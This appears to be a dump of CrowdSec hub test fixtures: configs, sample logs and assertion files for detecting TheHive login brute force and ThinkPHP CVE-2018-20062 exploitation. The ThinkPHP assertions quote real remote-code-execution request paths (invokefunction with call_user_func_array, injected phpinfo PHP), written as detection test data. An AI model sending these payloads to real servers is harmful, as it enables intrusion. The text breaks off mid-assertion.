"[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][2].Evt.Meta["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][3].Evt.Meta["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][4].Evt.Meta["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][5].Evt.Meta["source_ip"] == "172.17.0.2" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "thehive-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "172.17.0.2" len(results["success"][""]) == 0hub1/.tests/thehive-bf/scenario.assert000066400000000000000000000044371437532772500202330ustar00rootroot00000000000000len(results) == 1 "172.17.0.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.2"].IP == "172.17.0.2" results[0].Overflow.Sources["172.17.0.2"].Range == "" results[0].Overflow.Sources["172.17.0.2"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.2"].GetValue() == "172.17.0.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "thehive-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "thehive_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.2" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/thehive-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/thehive-bf/thehive-bf.log000066400000000000000000000014131437532772500177200ustar00rootroot00000000000000[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 byteshub1/.tests/thehive-logs/000077500000000000000000000000001437532772500155525ustar00rootroot00000000000000hub1/.tests/thehive-logs/config.yaml000066400000000000000000000004031437532772500177000ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/thehive-logs.yaml scenarios: - "" postoverflows: - "" log_file: thehive-logs.log log_type: thehive labels: {} ignore_parsers: false override_statics: [] hub1/.tests/thehive-logs/parser.assert000066400000000000000000000116201437532772500202710ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.1 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "thehive" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["crowdsecurity/thehive-logs"]) == 2 results["s01-parse"]["crowdsecurity/thehive-logs"][0].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.1 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Success == true results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["program"] == "thehive" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["source_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["log_type"] == "thehive_failed_auth" results["s01-parse"]["crowdsecurity/thehive-logs"][1].Evt.Meta["source_ip"] == "172.17.0.2" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.1 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 bytes" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "thehive" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "thehive_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "thehive-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" len(results["success"][""]) == 0hub1/.tests/thehive-logs/scenario.assert000066400000000000000000000000001437532772500205660ustar00rootroot00000000000000hub1/.tests/thehive-logs/thehive-logs.log000066400000000000000000000004031437532772500206500ustar00rootroot00000000000000[info] o.t.s.AccessLogFilter [1e60d1e5e2a1741f|2989d0704d3c364c] 172.17.0.1 POST /api/v1/login took 8ms and returned 401 65 bytes [info] o.t.s.AccessLogFilter [1e60d1e5e2a1742f|2989d0704d3c594c] 172.17.0.2 POST /api/v1/login took 8ms and returned 401 65 byteshub1/.tests/thinkphp-cve-2018-20062/000077500000000000000000000000001437532772500166135ustar00rootroot00000000000000hub1/.tests/thinkphp-cve-2018-20062/config.yaml000066400000000000000000000004511437532772500207440ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/http-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/thinkphp-cve-2018-20062.yaml postoverflows: - "" log_file: thinkphp-cve-2018-20062.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/thinkphp-cve-2018-20062/parser.assert000066400000000000000000000000001437532772500213200ustar00rootroot00000000000000hub1/.tests/thinkphp-cve-2018-20062/scenario.assert000066400000000000000000000250741437532772500216510ustar00rootroot00000000000000len(results) == 8 "192.168.1.8" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.8"].IP == "192.168.1.8" results[0].Overflow.Sources["192.168.1.8"].Range == "" results[0].Overflow.Sources["192.168.1.8"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.8"].GetValue() == "192.168.1.8" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.8" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.7" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.7"].IP == "192.168.1.7" results[1].Overflow.Sources["192.168.1.7"].Range == "" results[1].Overflow.Sources["192.168.1.7"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.7"].GetValue() == "192.168.1.7" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/index.php?s=/Index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "403" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.7" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "192.168.1.6" in results[2].Overflow.GetSources() results[2].Overflow.Sources["192.168.1.6"].IP == "192.168.1.6" results[2].Overflow.Sources["192.168.1.6"].Range == "" results[2].Overflow.Sources["192.168.1.6"].GetScope() == "Ip" results[2].Overflow.Sources["192.168.1.6"].GetValue() == "192.168.1.6" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/public/?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&content=%3C?php%20phpinfo();?%3E" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[2].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[2].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.6" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 "192.168.1.5" in results[3].Overflow.GetSources() results[3].Overflow.Sources["192.168.1.5"].IP == "192.168.1.5" results[3].Overflow.Sources["192.168.1.5"].Range == "" results[3].Overflow.Sources["192.168.1.5"].GetScope() == "Ip" results[3].Overflow.Sources["192.168.1.5"].GetValue() == "192.168.1.5" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("http_path") == "/?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&content=%3C?php%20phpinfo();?%3E" results[3].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[3].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[3].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[3].Overflow.Alert.Events[0].GetMeta("service") == "http" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.5" results[3].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 1 "192.168.1.4" in results[4].Overflow.GetSources() results[4].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[4].Overflow.Sources["192.168.1.4"].Range == "" results[4].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[4].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[4].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[4].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[0].GetMeta("http_path") == "/public/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1" results[4].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[4].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[4].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[4].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[4].Overflow.Alert.Events[0].GetMeta("service") == "http" results[4].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[4].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[4].Overflow.Alert.Remediation == true results[4].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[5].Overflow.GetSources() results[5].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[5].Overflow.Sources["192.168.1.3"].Range == "" results[5].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[5].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[5].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[5].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[5].Overflow.Alert.Events[0].GetMeta("http_path") == "/public/?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1" results[5].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[5].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[5].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[5].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[5].Overflow.Alert.Events[0].GetMeta("service") == "http" results[5].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[5].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[5].Overflow.Alert.Remediation == true results[5].Overflow.Alert.GetEventsCount() == 1 "192.168.1.2" in results[6].Overflow.GetSources() results[6].Overflow.Sources["192.168.1.2"].IP == "192.168.1.2" results[6].Overflow.Sources["192.168.1.2"].Range == "" results[6].Overflow.Sources["192.168.1.2"].GetScope() == "Ip" results[6].Overflow.Sources["192.168.1.2"].GetValue() == "192.168.1.2" results[6].Overflow.Alert.Events[0].GetMeta("datasource_path") == "thinkphp-cve-2018-20062.log" results[6].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[6].Overflow.Alert.Events[0].GetMeta("http_path") == "/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1" results[6].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[6].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" results[6].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[6].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[6].Overflow.Alert.Events[0].GetMeta("service") == "http" results[6].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.2" results[6].Overflow.Alert.GetScenario() == "crowdsecurity/thinkphp-cve-2018-20062" results[6].Overflow.Alert.Remediation == true results[6].Overflow.Alert.GetEventsCount() == 1 "192.168.1.1" in results[7].Overflow.GetSources() results[7].Overflow.Sources["192.168.1.1"].IP == "192.168.1.1" results[7].Overflow.Sources["192.168.1.1"].Range == "" 